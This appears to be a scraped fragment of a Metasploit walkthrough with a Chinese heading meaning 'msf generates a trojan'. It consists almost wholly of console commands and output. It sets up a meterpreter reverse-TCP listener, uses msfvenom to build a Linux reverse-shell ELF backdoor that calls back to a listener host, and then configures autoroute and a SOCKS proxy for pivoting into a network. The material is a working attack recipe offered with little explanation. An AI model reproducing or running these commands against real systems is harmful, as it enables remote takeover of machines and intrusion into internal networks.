msf6 > msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 172.17.113.211 LHOST => 172.17.113.211 msf6 exploit(multi/handler) > set LPORT 4444 LPORT => 4444 msf6 exploit(multi/handler) > run
msf生成木马
1 2 3 4 5 6 7
┌──(kali㉿Hack3rr)-[~] └─$ msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=172.17.113.211 LPORT=4444 -f elf > shell.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 1068952 bytes Final size of elf file: 1068952 bytes
msf6 post(multi/manage/autoroute) > use auxiliary/server/socks_proxy msf6 auxiliary(server/socks_proxy) > options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on th e local machine or 0.0.0.0 to listen on all addresses. SRVPORT 1080 yes The port to listen on VERSION 5 yes The SOCKS version to use (Accepted: 4a, 5)
When VERSION is 5:
Name Current Setting Required Description ---- --------------- -------- ----------- PASSWORD no Proxy password for SOCKS5 listener USERNAME no Proxy username for SOCKS5 listener
Auxiliary action:
Name Description ---- ----------- Proxy Run a SOCKS proxy server
View the full module info with the info, or info -d command. msf6 auxiliary(server/socks_proxy) > jobs
Jobs ====
Id Name Payload Payload opts -- ---- ------- ------------ 0 Auxiliary: server/socks_proxy